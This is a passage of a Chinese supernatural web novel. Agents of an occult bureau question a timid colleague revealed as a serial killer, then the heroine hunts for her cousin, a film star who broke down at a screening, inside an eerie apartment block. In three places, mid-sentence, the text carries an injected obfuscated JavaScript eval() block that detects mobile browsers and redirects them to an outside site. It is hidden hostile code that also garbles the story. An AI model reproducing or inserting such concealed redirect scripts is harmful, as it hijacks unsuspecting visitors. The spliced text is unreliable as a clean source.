他弯下腰,直直盯着二人道:“如果让我发现这事儿在当地或网上传开,”迟予知弯起眼睛,露出阴恻恻的笑容,“我还会来找你们的。” 冯小宇和闫儿被他比厉鬼还厉鬼的笑容吓得汗毛倒数,纷纷像捣蒜一样点头。 迟予知直起身子,伸了个懒腰,又看向庄辰岚:“走吧,去悟城公安局一趟。” —— 悟城公安局办公大厅内,一个稍显肥胖的中年男警察对二人道:“有什么事儿?” 迟予知道:“局长呢?我找你们局长。” 中年警察歪嘴一笑:“呦呵,找我们局长?您哪位啊?” 迟予知掏出证件,伸直胳膊,举到警察脸前:“这位。” 胖警察瞪大眼睛,看看证件,又看看迟予知和庄辰岚:“天问?我去,真人啊。” 他转身小跑起来:“等着啊,我给你们叫局长去。” 庄辰岚道:“不用叫他出来,你带我们去就行。” “哦对对对,你们来来来,”警察脸上露出好奇又兴奋的神情:“天问怎么到悟城来了?悟城有啥事?你们真是来收服那种妖魔鬼怪的?” 迟予知道:“不该问的别问。” “好好好,那你们真有特异功能?小哥,你这个白头发是天生的还是染的?还是练功练得?” 迟予知道:“什么小哥?我都能当你祖宗了。” “你这人,不说就不说,骂人干嘛!” “你有病吧,谁骂你了?” “你看你又骂我。” “你俩能不能闭嘴。”庄辰岚道。 “行行行我不问了。” 胖警察敲了敲门,然后站在门口,等待里面回应,迟予知直接推门走了进去。 局长刚斟上一壶茶,看见两个不速之客,他放下茶壶:“二位是?” 迟予知道:“天问。” 局长往上推了推眼镜,脸上满是惶恐:“怎么又来?” “啊?”迟予知道:“什么叫又?” 庄辰岚心下一惊,连忙道:“上次是谁来的?” 局长道:“一个长的很高,粉色头发的女人。” 二人对视一眼:是荒村梨花! 迟予知不解道:“老荒来这儿干嘛?” 局长道:“她就是来帮我们抓捕那个黄衣三角的。” 庄辰岚又是一惊:黄衣三角到底是何方神圣,居然需要天问副局亲自出马? 迟予知道:“巧了,我们就是来问黄衣三角的。 “那个女人不是把他带走了吗?难不成跑了?” “带走了?”庄辰岚看向迟予知,“你不知道?” “你这话说的,我为什么会知道?” “天问员工的任务不互通?” “单向互通,老荒能看到我们的,我们看不到她的,唉,真是不公平。” “副局的任务难度比所有人都高?” “这不一定,据我观察,灵网是根据每个人的特点分配任务的。” “是吗?”庄辰岚道,“这里还有黄衣三角的卷宗或者其他资料吗?” “没了,都被那人拿走了,你们到底有什么事啊?” 庄辰岚道:“公安有刑警泄露了黄衣三角的口供,局长,审问的时候你在场吗?” “当时就是我负责讯问的,毕竟也算个大型案件。” 庄辰岚惊喜道:“那你还记得他都说过什么吗?还有关于他的详细资料,也都麻烦告诉我们。” 闻言,局长陷入了回忆,片刻后开口道:“他是个年轻人,刚刚大学毕业,我也不知道为什么天问的人会来,等等,我突然想起来还有几张照片。” 他在办公桌的几个抽屉里翻找了一会,拿出来几张照片,摊在桌子上:“幸亏那天留下了几张,这就是那个黄衣三角的罪犯档案照。” “什么?!” “啥?!” 局长被两人吓了一跳,他不安道:“怎么了?有什么问题?” 庄辰岚和迟予知对视一眼,两人都在对方脸上看出了“这世界可太精彩了”的表情。 这几张照片上的人,是姚枝! 庄辰岚道:“天问怎么会招聘这种连环杀人犯?” “你说什么?”迟予知乐的哈哈大笑,他道,“你是不是对天问有什么误解?” “杀几个人算什么?天问里这种人多了去了。” —— 天问总部,医务室内。 姚枝紧张的坐在椅子上,庄辰岚和迟予知高大的身形在他身上投下两道阴影。 “岚小姐,迟先生,出什么事了,你们怎么这么看着我……” 他眼神躲闪,语气怯懦,声音极低,浑身上下弥漫着一股窝囊废和受气布袋的气息。 迟予知弯下腰,盯着他道:“我说,果然人不可貌相啊。” 庄辰岚摸着下巴:“书里说这叫边缘化暴力,其实是一种常见的现象,由于社会排斥和心理压迫等,边缘群体的暴力行为往往更为严重。” “你叽里咕噜说什么呢?” 姚枝似乎很不习惯被关注,被两人围着一盯,他更是如坐针毡,暗中往门口的方向蹭。 咚的一声,迟予知一只脚踩在他凳子上,姚枝浑身一抖,连忙制止了往外逃的小动作,比刚才更紧张了。 “喂,你真就是那个黄衣三角?” “啊……”姚枝摆出讨好的笑容,紧张的不断扣身下的凳子,“网上好像是那么叫的。” “我去,还真是啊。” 庄辰岚道:“你还在继续杀人吗?” “没有没有,”姚枝头摇得像拨浪鼓,“我已经答应老板了。” 庄辰岚道:“你当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174664|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时为什么知道悟城二中会有狭间出现?” “什么?”姚枝道,“我不知道啊。” 迟予知蹬了一脚他的凳子,凳子腿在地板上划出刺耳的滋啦声。 “你给我说实话!” 姚枝都快哭了,他连连摆手:“我真的不知道。” “他确实不知道,是我说的。” 荒村梨花的声音突然从门口响起。 她边走边道:“而且啊,小姚可是你们的同伴,同伴之间怎么能像审犯人一样说话呀。” 语气慈祥的宛如一个调解孩子们争吵的祖母。 庄辰岚道:“副局,是悟城二中的狭间与姚枝有关,所以我们才来问他的。” 荒村梨花道:“那确实是我说的,当时我感觉到这个学校里隐隐有狭间的气息,顺口说了一句,不知道被谁听去了。” 所以悟城二中的校园怪谈里才没有狭间准确的出现时间和位置,月圆之夜和四楼走廊都是灵网后来才分析出来的。 迟予知道:“老荒,你可别包庇他。” “我有什么理由包庇他呢?” “那你把他从狱里提出来是为什么?” “当然是求贤若渴呀,”荒村梨花拍拍姚枝的肩膀,“小姚消除记忆的能力可是独一份。” “还有啊,”她又撩了一下姚枝盖住双眼的刘海:“小姚啊,有时间剪剪头发,把刘海剪清爽点,大大方方的。” 姚枝紧张道:“好,好的老板。” 庄辰岚道:“那你一直没被警察逮住的原因,难不成就是......” 被抓住后消除对方的记忆然后大摇大摆走出去。 姚枝弱弱的嗯了一声。 迟予知切了一声。 既然荒村梨花都这么说了,庄辰岚也无话可说。 迟予知又打量了一遍姚枝,好奇道:“你为什么杀人?” “我,我必须说吗?”姚枝欲哭无泪地看向荒村梨花,试图求助。 荒村梨花道:“正好,这是同伴间加强理解,互相交流的好机会啊。” 姚枝最后的希望破灭了。 他道:“因,因为,我看到那个场面,会觉得很熟悉。” 迟予知道:“什么?你分尸别人会觉得很亲切?哈哈哈哈,真恶心。” “我好像不是那么说的吧……” 荒村梨花道:“这感觉比较抽象,小姚之前跟我说过,他看到人类倒在血泊中的场面时,会有一种奇妙的感受,会觉得自己正在找回什么东西。” 迟予知道:“我知道你在找回什么东西,”他一边说一边使劲戳姚枝的心口,笑道:“是找回伪装下那个真正的变态的自己吧。” 姚枝被他戳的生疼,也不敢反抗,只得蜷缩起身体:“对不起。” “予知,好好说话,不许动手。”荒村梨花拍拍姚枝的肩膀,“小姚也许是在找回他的能力呢,毕竟消除记忆的能力就是他在作案过程中掌握的哦。” 迟予知翻了个白眼:“哈?那可真是恭喜了。” 庄辰岚看着眼前几人,又想起迟予知在公安局对自己说的话: “感情你什么都不知道就加入天问了?还是说你对这个组织有什么不切实际的幻想?” 庄辰岚从小到大,总能很快看透学校小团体或其他任何团体的本质,她因此而抽离,甚至有些高高在上,但现在她发现,自己连眼前这个组织的表层都看不透。 ——这还真是令人兴奋。 一个唯唯诺诺的姚枝都是连环杀人犯,那看着就不是好人的迟予知和姜福子等人,又该是什么样的穷凶极恶之徒? 天问是一个土匪窝,迟予知第一天的时候就这么说过,但荒村梨花开导自己时的温情,又绝不是虚假,这又算什么? 邪恶与慈悲,难道能在一个组织同时存在吗? 跟一群妖魔鬼怪和没人性的分尸杀人狂在一起汲取力量,那得到的这个力量又算是什么?久而久之自己又算什么? 不对。 自己也杀过人啊,而且是三个。 她居然把这件事都忘了。 想到这点,庄辰岚不禁一阵恍惚。 36.港岛1 就在这时,灵端突然叮叮叮响个不停,庄海月给她发来了好几条消息: “岚岚!快去看微博!栓子在发什么神经?!” “天啊!太精彩了!笑死我了!” “等等这不是玩笑,卧槽啊,栓子出事了!” 看到最后这几个字,庄辰岚差点一口气没上来,她连忙打开微博,热搜爆了好几个: #周以精神分裂# #周以生楼重映会发疯# #匪石传媒# #港岛娱乐圈港岛黑|帮# 无论哪个标题都够喝一壶的。 庄辰岚点进热搜第一,最上面一条微博是生楼重映会的视频,封面中周以被好几个人拉着,现场乱成一团。 来不及看它究竟拍到了什么,庄辰岚赶紧拨打周以的电话,无人接听。 她又挂掉重新打,仍旧无人接听。 庄辰岚又给他发消息:你现在在哪?我们见一面。 五分钟后,依旧毫无回应,消息石沉大海。 荒村梨花此时也饶有兴致的拿出灵端,一边滑着屏幕一边道:“这不是那个大明星吗,你是他粉丝?” 庄辰岚没有回答,她给庄海月打电话:“海月,帮我算下周以现在在哪儿?” “你要去找他?都这么晚了。” 荒村梨花道:“看不出来你还是私生粉。” 庄海月在电话那头道:“是不是老板在说话?看不出来她还挺潮流,私生粉这种词都知道。” 庄辰岚有些急了:“别说废话了,能不能算?” “我不是说了吗,算卦耗蓝条。” “他好歹是你堂弟啊。” 虽然已经堂到九霄云外了。 “我现在是心有余而力不足,要是我没在避劫,一定……” “你舍得这张脸出事吗?” “……”庄海月道,“稍等片刻。” 电话那头传来游戏机按键噼里啪啦的声音:“西南方向,五行属火,娱乐行业,看来在匪石传媒总部大楼。” “谢了。”庄辰岚又道,“副局,能不能给我几张缩地千里符。” “你真要去找他?粉丝做到这份上?” “我跟他是亲戚。” “哦?没想到我还有娱乐圈的人脉了。” 荒村梨花拿出两张黄符:“缩地千里当然可以给你,不过这是要输入灵力才能启动的,据我观测,你可没有灵力。” 什么?她看向迟予知。 “看我干什么?你也没问我啊。” 庄辰岚又道:“那怎样才能获得灵力?” “还能怎么获得?修炼啊,天赋高的,修个一年半载就有了。” 这方法跟没说一样,庄辰岚道:“还有其他办法吗?” “当然了,”荒村梨花道,“现在你有这么多同伴,为什么不选择跟他们求助呢?” 庄辰岚闻言一怔,心里好像有什么地方被触动了,向别人求助吗,她好像从来没有过这种想法。 她看向迟予知。 “不去。” 毫不意外。 “予知,你看人家都张口求你了,给个面子。” 迟予知指着庄辰岚手腕上的镯子:“那个法器不是有灵力吗,你用它不就得了。” 庄辰岚抬起手腕:“它有灵力?” 荒村梨花笑道:“是呢,我才想起来还有这个办法,还要多谢予知提醒呢。” 她拿着缩地千里符,往庄辰岚的镯子上一擦,符文顿时发出红色的亮光。 “好了,给。” 庄辰岚接过发光的符咒,不禁想荒村梨花不可能忘了这个方法,那她迂回这么一趟的目的是什么? 然而现在没时间考虑这个了,庄辰岚脚下出现了一个熟悉的圆形法阵,她将符捏在两指之间,道:“匪石传媒。” 法阵发出耀眼的光芒,眼前逐渐开始模糊,等到白光消失,庄辰岚便来到了匪石传媒的大楼前。 现在已经是深夜了,总部大楼却仍旧灯火通明。 庄辰岚来到前台,只见一个年轻的女孩正满面愁容的刷手机。 她轻轻敲了敲前台的桌子,女孩便像是被吓到的小猫一样迅速抬起头来: “吓死我了,我以为老板来了。” 庄辰岚道:“请问周以在哪?” “你已经是今晚数不清第几个问这个问题的了。”女孩捋了捋头发,“他在11楼艺人办公室。” “今晚都有谁找他?” “好多,都是些老板跟合伙人什么的,还有堵在门口的记者,刚刚才被警卫轰走,烦死了,要不是他我现在早就下班了,自己一个人发疯,拉着整个公司的人陪他加班。” “...抱歉。” “你替他道什么歉?”女孩上下打量了一下庄辰岚,“看你样子不像投资人,是新来的艺人?不会是周以女朋友吧?” 庄辰岚道:“算是他堂妹吧。” 虽然也是堂到九霄云外了。 “我说呢,长得有点像。” 庄辰岚刚想上楼去找周以,迎面急匆匆跑来一个男人。 来人身材不高,穿着饱和度极高的红色西服套装,带着黑色方框眼镜,讲话带点机车: “小白,你有没有看到周以?” 前台小姐道:“没看见,我刚一直在和这位小姐讲话。” 男人又急又气,快要哭出来了:“不得了了,他跑不见了!” 庄辰岚连忙问:“什么时候不见的?” 男人扫了一眼庄辰岚:“你是谁啊?” “我叫庄辰岚,是周以的堂妹。” “堂妹?”男人仿佛找到了救命稻草:“既然是他家人,那你知不知道他可能去的地方,这栋楼我上上下下都找遍了还是没有找到。” 庄辰岚本想给庄海月打个电话让她再算一卦,但想了想还是放弃了。 庄辰岚诚实道:“我也不知道,他没联系我。” “啊——”男人崩溃道:“这个周以,真是太任性了,现在整个团队都要乱成一锅粥了!” 庄辰岚道:“周以在这儿有房子吗?” “有个公寓,但是他不常住在那里。” “去那看看。” 二人离开大楼,男人开出他的红色轿车,对庄辰岚道:“你坐副驾驶就好。” 一抹红色在城市夜晚的柏油马路上疾驰,男人边开车边道:“忘记自我介绍了,我叫彦廷,是周以的经纪人助理。” “哦...你好。” 刚才她走得匆忙,只看了一眼热搜词条和视频封面,还不知道周以具体在重映会上捅了什么惊天地泣鬼神的篓子。 她又打开微博,周以的大名依旧挂在上面好几个,但在这之中还夹着一个不知所谓的标题: “X?这是什么?” “半年前的一个帖子,这时候又被挖出来了。” 庄辰岚点了进去,没想到这还是一个旧土论坛的帖子,但是原帖已经被作者删除了,她便登录自己天问的账号,在旧土娱乐板块搜索这个帖子。 【八卦分享|娱乐圈某知名演员脑子有病,精神有问题】 1L(楼主)柳橙土司 如标题啊,不是骂人,是真的精神有问题。 楼主是娱乐圈打杂的,一年前团队有幸跟该明星合作,以下就称其为X(无任何指向性,只因方程未知数是X,同理代称‘他’也是,并不指代性别) 这次合作非常顺利,相关拍摄基本都是一遍过,不得不说X演技确实牛逼,脸长得也牛逼,线下看真的美到震撼。 长得好看业务又好,楼主对X的印象真的非常非常非常好,直到有一天我发现他对着空气说话。 那天刚刚拍摄完下班,楼主因为有篇稿子马上收尾就留下来加了会儿班,结束往外走的时候场地内已经空无一人了,但就在路过艺人休息室走廊的时候,我听见了X的声音。 我以为他早就走了,没想到他还留在休息室,我就想进去告诉他你还是早点走吧,这里有一大堆器械晚上看不清楚很危险,巧的是,就在我刚搭上门把手的那一瞬间,我听到他在里面喊:“你到底要干什么?!” 楼主吓了一跳,下意识以为他在说我,刚想张口解释,紧接着就又听见他喊:“你到底要折磨我到什么时候?”“别来找我!”之类的话。 这声音很奇怪,有一种明明很害怕但还要硬撑的色厉内荏的感觉,跟平时的X完全不一样,楼主反应过来,就以为他跟对象吵架了,八卦之魂熊熊燃烧,就躲在门口偷听。 谁知我刚把耳朵贴到门上,就听到嘭的一声巨响,声音大到我耳朵都要聋了,楼主吓得魂儿都快飞了,还以为自己被发现了,但紧接着就又听见X的声音:“你要杀了我吗?!” 这句话还带着颤音,好像X很害怕的样子,而且这声音好像离我特别特别近,仿佛就在门口,楼主这才意识到刚才嘭的那声大概率是X身体砸在门上发出来的。 想到这点后楼主真的快吓疯了,我这是误入什么谋杀现场了?!而且我不知道里面还有没有其他人,是不是那人把X狠狠推到了门上。 总之意识到我跟X只隔了薄薄一扇门后,楼主脑子嗡嗡的一片空白,怕他突然打开门,如果里面真有什么变态,到时候楼主都自身难保,所以我就跑到对面的艺人休息室,从里面偷偷观察。 2L山药豆 我以为楼主会赶快逃跑,没想到是换个房间观察,楼主你有这个八卦的毅力做什么都会成功的。 3LDALO X咖位大不大,别到时候扒出来是个十八线糊笔,浪费感情。 4L(楼主)柳橙土司 不至于十八线,还是有知名度的,至于知名到什么程度就保密了。 我继续说。 楼主到另一个房间后,X说什么就听不清了,我只能听到他语速越来越快,而且逐渐发展成那种很崩溃的质问了。 突然又是嘭的一声,门开了,X从里面很狼狈的跑出去了,对,就是很狼狈,好像腿发软的逃跑的那种状态,跑的时候还扶着墙,楼主从来没见过X这种样子。 他跑出去后,休息室的大门也没有关上,从楼主的角度能对整个休息室一览无余——那里面根本一个人也没有! 楼主大吃一惊,紧跟着跑进去确定,里面确实一个人也没有,休息室里没有任何能藏身的地方,也没有窗户,X刚才一直再对着空气讲话! 楼主当天都不知道自己是怎么回家的。 第二天拍摄,X又变成了平常的样子,楼主尝试跟他搭话,但是他对人爱答不理的,同事说X这人就是这样,除了工作交流,其他时候都非常高冷,天天被人黑耍大牌。 之前我看X的团队不咋理他,一说话还夹枪带棒,还奇怪他们怎么对X态度这么差,现在算是明白了。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191976|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是话说回来,楼主觉得X与其说是高冷,不如说更多是一种忧郁,靠近他的时候不是冷,而是闷,之前我一个朋友还说他鬼气森森的。 而且自从那件事后,楼主总觉得X这人怎么看怎么不对劲,我怀疑他有精神分裂或者妄想症,这样一想他那个精湛的演技也能得到解释了,不是说艺术家都不是正常人吗(开个玩笑 5L疯狂外星人 长得好看演技还好,也有一定知名度,zy,hgb,lyd,wz还是sd?除了这几个还能有谁? 个人感觉是sd,看综艺片段和采访物料感觉他特别爱自言自语,说话还颠三倒四的。 回复: 冰糖葫芦:又夹带私货偷偷藏不住了,hgb仅粉丝可见的颜值和演技哈,丑男禁止靠边,跟那四个排到一起真的辱四位了。 6LDALO 有没有一种可能,X只是在自己给自己对戏呢? 回复: (楼主)柳橙土司:没可能,我们的拍摄没那些台词。 冰糖葫芦:而且有必要出去还在演吗,楼主不是说他很惊恐的跑出去了吗? 7L墨水河 其实楼上提到的一些人说话颠三倒四跟精神没关系,纯粹因为没文化智商低。 8LDALO sd确实普,但也算不上丑,这位属于角色魅力给演员颜值加分的,演技确实好没得喷,感觉他是完全沉浸在自己的世界那种,所以感觉神神叨叨的。 9L雪国 长得好看的很多,长得牛逼的只有那一个吧,来楼下说出他的名字。 10L小徐 周以不可能,我朋友跟他相处过,人很正常,就是有点清高,目无下尘,再说了他不是之前在麦当劳打工好久吗,要是精神有问题肯定早被开除了。 回复: DL6:楼主不也说X很高冷不爱搭理人吗(惊觉) M26:自己以前就是下尘还目无下尘?清高成这样还干服务员,没被投诉吗? 扁舟:看着那张脸谁能说出重话啊,据说他原本应聘的是后厨,但老板看他长得好看就让他去干收银了,然后那家麦当劳从此营业额翻了好几倍,都是附近去看他的hhh,现在还有人去打卡。 香瓜:在麦当劳打工早就辟谣了,网上关于他身世的基本都是假的。 11L清水 我们不是在讨论谁有精神病吗,怎么扯到周以发家史了。 我是倾向觉得是周以的,你们真的没感觉他就是鬼气森森的吗? 回复: 香瓜:哈哈,不是说美到极致就是会有鬼气吗,我觉得不是周以,他采访说话很有逻辑。 12L无线耳机 整个帖子就zy爆了大名是吧?什么成分? ...... 101L刀俎 听楼主的描述,感觉这贴子能到灵异板块再投一次,正好隔壁嗷嗷叫最近没有好故事呢。 ...... 215L路人 略有耳闻,我大概知道X是谁了,楼主团队应该主要混的是港岛娱乐圈。 回复: (楼主)柳橙土司:嘘—— 清水:卧槽,怎么感觉你好像知道点什么?港岛娱乐圈怎么说? DALO:港岛娱乐圈被黑|帮渗透特别严重,他们拿枪指着演员的头逼迫他们拍电影都是常见的事,顶部明星也是一样,一言不合就甩巴掌,何止是不把明星当明星,根本是不把他们当人。既然楼主真是混港娱的,那这个X大概率也是被哪个大佬威胁了,所以才会喊那些话,然后腿软着跑出去。 冥冥:谦曜和匪石,港岛两大电影公司的老板都跟□□有关,你们不会不知道吧? 芋泥蛋糕:我服了,这都是上世纪的东西了,还黑|帮,你们电影看多了吧,别造谣了。 ...... 404L握瑜山人 我知道这人是谁,就是周以哦。 回复: 小蚂蚁11:你算什么东西敢造谣以哥?我还说你脑子有问题呢。 握瑜山人:小学生不许上网,回家写暑假作业去。 ...... 2020L 周以爆马打卡 2030L 周以发疯日打卡 2050L 周以发疯打卡+10086 2102L 圣地巡礼 ...... 庄辰岚关掉论坛页面:“港岛娱乐圈的艺人很危险吗?” “别听网上造谣,那都是几十年前的事了,”彦廷往右打方向盘,“现在的艺人都跟祖宗似的,说都不能说,他们粉丝一人一口吐沫都能把我淹死。” 庄辰岚不置可否,她退出论坛,点开网上目前播放量最高的一个视频。 视频一开始,她就注意到周以的脸色非常差,他眼神躲闪,好像在避免看向台下某个地方。 一个记者提问道:“周以老师,胡楼生这个角色是一个为了追求戏曲电影艺术不惜残忍虐杀无辜群众的疯狂艺术家,但这种设定一旦表现不好就会非常违和,让人分不清他究竟是追求艺术,还是享受杀人,请问您是怎么平衡这个点,来立住这种''人设''的呢?” 周以突然被点到名字,似乎被吓了一跳,他缓慢地举起话筒: “...我见过他。” 37.港岛2 周以这句没头没尾的话顿时引起一阵骚动。 记者下意识以为是自己的语言有问题,便又重新问了一遍: “不好意思,我的意思是,您在表演的过程中如何塑造这种人物?” 周以道:“都说我见过他了,把一个很熟悉的人演出来还需要深思熟虑吗?” 此话一出,场内一片哗然。 有反应快的记者赶紧提问:“请问周先生是在哪里见过他的呢?” 周以刚想回答,便被导演一把夺过话筒: “他的意思是人物研究的太透都成老熟人了,自然而然的就演出来了哈哈哈。” 周以又立马夺过导演的话筒:“我是在梦里见到的,而且不光是他……”周以甩开来抢话筒的导演和工作人员:“迄今为止我演过的所有角色,我都在梦里见过!” 周以一边说一边使劲握着话筒抵挡,但最后还是被导演和工作人员控制着离开重映会,即使如此,他仍指着台下某个位置大喊。 失去话筒后,周以的话在视频里一点都听不清,但有现场人员在网上曝光,他说的是:“生楼的故事是真的。” 彦廷往上推了推眼镜:“重映会上说的那么起劲,回到公司就一句话都不说了。” 庄辰岚道:“他这是怎么了?” “耍脾气呗,还能怎么?” “不是,这好像已经不属于耍脾气的范畴了吧,这是真的精神出问题了啊,他没去过医院?” “不知道。” 庄辰岚看到车内的数据线,突然想起什么:“周以带手机了吗?” 彦廷发出泄气的声音:“没有啊。” 他递过来一部手机:“诺,在这里,连电都没有了。” 庄辰岚接过来,连上车内的充电线,开机后,锁屏上出现了一张合照。 仔细一看,居然是自己和庄辰星以及周以三人的合照。 照片上的三人穿着清平实验小学的校服,全都是一张稚气未脱的脸。 这照片少说也得十年了,要不是今天看见,庄辰岚压根想不起来自己曾经还照过这样一张像片。 与此同时,她也回想起了十几年前那段童年时光。 拍这张照片的时候是周以的生日,几人放学后便迫不及待地来到漩涡,用攒了很久的零花钱凑在一起点了一个小小的蛋糕。 点燃十根蜡烛,火苗在香甜的空气中跳动,周以闭着眼睛,双手合十,火焰将他白皙的脸颊映成暖黄色。 片刻后,纤长的睫毛掀开,周以“呼”地吹向蜡烛,但有一个却总是不灭,周以又“呼”“呼”地吹了好几下,最后给自己吹的没气了,惹得另外两人都大笑起来。 庄辰岚和庄辰星一边笑一边唱起生日歌,周以脸颊通红:“别唱了。” 他环视一圈,周围全是看向他们的顾客,周以往墙边缩了缩:“这里人好多.......” 庄辰星笑道:“以真的好容易害羞啊。” 庄辰岚道:“他们爱看就看,我们自己过自己的,管他们干嘛。” “算了算了,以不想唱就不唱了。”庄辰星拿起叉子,“我们吃蛋糕吧。” 庄辰岚塞了一口奶油,瓮声瓮气道:“你刚才许的什么愿?” 庄辰星还在切蛋糕,闻言道:“你别问他,说出来就不灵了。” “三个小朋友在过生日吗?”老板不知什么时候来到他们旁边,拿着一个相机,“我给你们拍张照吧,看你们三个经常来,感情真好啊。” 周以连忙咽下嘴里的蛋糕:“拍完之后可以洗出来吗?” “当然可以,”老板晃晃手里的相机,“这是拍立得,马上就能洗出来。” “真的吗?谢谢阿姨!”周以看向对面两人,“可以吗?” “我们当然没问题啊,”庄辰岚道,“这里最容易害羞的是你吧。” “那才不是害羞!”周以反驳道。 “好啦,”庄辰星重新给周以带上生日帽,“准备好了吗?” 老板举起相机:“再往中间凑一凑,微笑,好。” “一二三,茄子!” 三人的影像逐渐显现在相纸上,又显现在手机屏幕上,经过十几年的时光再次出现在庄辰岚眼前。 那确实是一段人生最美好的回忆,美好到此情此景下庄辰岚回想起来仍能幸福的勾起嘴角。 彦廷道:“他不会跑到别的城市去吧。” “应该不会,手机都在这里,而且他应该也不带现金。” “对哦,那我现在就让他们全城搜捕,希望不要再被路人抓到搞上热搜了。” 庄辰岚道:“你是周以的经纪人助理,应该每天都跟他在一起吧,他在今天之前有没有表现出异常?” “没有,他这个人性格一直是有点怪的,不好接触,还爱发脾气,我们都习惯了,要不是长了张好脸,肯定是个万人嫌。” 庄辰岚皱了皱眉,没再说话。 红色的轿车停到公寓楼下,彦廷自言自语道:“奇怪,今天怎么一个人都没有。” 他指了指周以家所在的楼层:“灯是关着的。” 庄辰岚道:“来都来了,上去看看。” 刚迈进公寓大门,彦廷又止住脚步:“没错了,就是很奇怪,怎么不开灯啊。” 然而何止是没有灯光,一楼宽阔的大厅里一个人影都没有,公共休息区的沙发干净的好像从来没人使用过,只有大理石墙壁与地板反射的月光稍稍照亮一小片区域。 而且自从进入这里,庄辰岚就感觉自己好像被什么注视着,彦廷哆哆嗦嗦地跟在她后面,一瞬间整个世界安静的好像只剩下他们两个人的脚步声。 彦廷的声音跟他人一样哆哆嗦嗦:“这里不对劲,太恐怖了,我们还是走吧。” 庄辰岚不理他,自顾自地走到电梯间。 “怎么都在11楼?” 彦廷连忙道:“周以就住在11楼。” 庄辰岚按了向上的按钮,屏幕上数字的下方出现了向下的箭头,但是等了半天,上面的数字仍是11,电梯丝毫没有下行的迹象。 一般出现这种情况,那便是有人站在11楼打开的电梯门前,阻止电梯门关闭。 她又按了其余五个电梯,都是同样的情况。 “这,这是怎么回事啊?”彦廷缩在庄辰岚身后抖如筛糠,“楼上到底发生什么了?” 庄辰岚想起X的帖子里关于港岛娱乐圈与黑|帮的关系,还是有点不放心,她道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205152|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“匪石传媒跟黑|帮联系是不是很多?周以被他们盯上了?” “你电影看多了吧,再说就算是真的,我只是一个小小的经纪人,我怎么——”说到一半,他好像突然想起什么,连忙把嘴闭上了。 庄辰岚转身盯着他:“你给我说实话,周以人都那样了,现在可是性命攸关的时候。” “庄小姐,你真是言重了,周以真没什么事,他就是最近一直在被谦曜的老板挖墙脚,梁老板是个体面人,怎么可能对他做什么啊。” “拿枪威胁拍电影什么的呢?” “我不是说了吗,那都是谣言啦谣言,很久之前的老黄历了,现在可是法治社会。” 他移开目光,看到电梯屏幕仍然停留在11楼,不禁又害怕起来:“怪了怪了,肯定是遇上什么不干净的东西了。” “你想多了,没什么不干净的东西。” 她走到最近的电梯门前,使劲踹了一脚:“下来!” 这电梯吃硬不吃软,被庄辰岚一踹,立马恢复了正常,屏幕上的数字从11变为10然后又变为9... 很快,电梯门在一楼打开,从里面射出来的光让彦廷安心了许多。 庄辰岚按了11的按钮,电梯稳步上升,但在第十层时,电梯停了下来。 叮咚一声,电梯门缓缓打开,外面一片黑暗。 “没人?” 彦廷不敢细想究竟是谁按了门外的电梯按钮,也不敢细想门外是否真的站着什么东西。 他想躲到庄辰岚身后,但又感觉身体仿佛被冻住,连手指都动不了,只好紧紧闭上眼睛,大气都不敢出。 “出来啊。” “啊!”庄辰岚的声音传来,彦廷猛地睁开眼。 “刚才不是在10楼吗?!” “外面没人,我当然又关上了。” “这,这样。” 现在这个场面还能如此淡定,彦廷不知道这个庄辰岚究竟是胆子太大还是反应太慢。 “庄小姐,你信鬼神吗?” “为什么突然这么问?” “因为现在的情况就是很反常啊!完全就是恐怖电影里的样子!” “港岛的人都很信鬼神吗?” “对啊,尤其是娱乐圈这些人。” 他弓着腰,抱着胳膊走在庄辰岚身后,又突然被她跺脚的声音吓了一跳。 “你!你又干什么!” “你没发现吗,从刚才起,声控灯就没有亮过。” “啊——”彦廷失声尖叫。 叫完又立刻安慰自己:“坏了吧,应该是他们没交物业费。” 有种左右脑互博的美。 透过月光,庄辰岚看到大门口有一张倒扣的传单,她捡起来一看,居然是张钟馗画像。 庄辰岚第一次体会到什么叫汗毛倒竖—— 钟馗靠杀鬼吃鬼成神,他的一张画像就足以对付大多数鬼魂,即使是怨念极强,阴气极重的凶煞厉鬼,见到他的画像也会礼让三分,不敢贸然进入,能直接将门上的钟馗像撕下来扔到地上如弃草芥,那这个公寓里的东西,究竟是什么样的存在? 一滴冷汗顺着庄辰岚的额头流下,刚才的那些,难道只是祂茶余饭后的消遣吗? 38.港岛3 庄辰岚稳了稳心神,将钟馗像叠起来放进兜里,抬手敲了敲周以家大门。 清脆的敲门声被空旷的走廊放大,每敲一次,彦廷的心脏就会狂跳一下。 他害怕道:“别敲了,看这样子肯定是没人,我们快回去吧。” 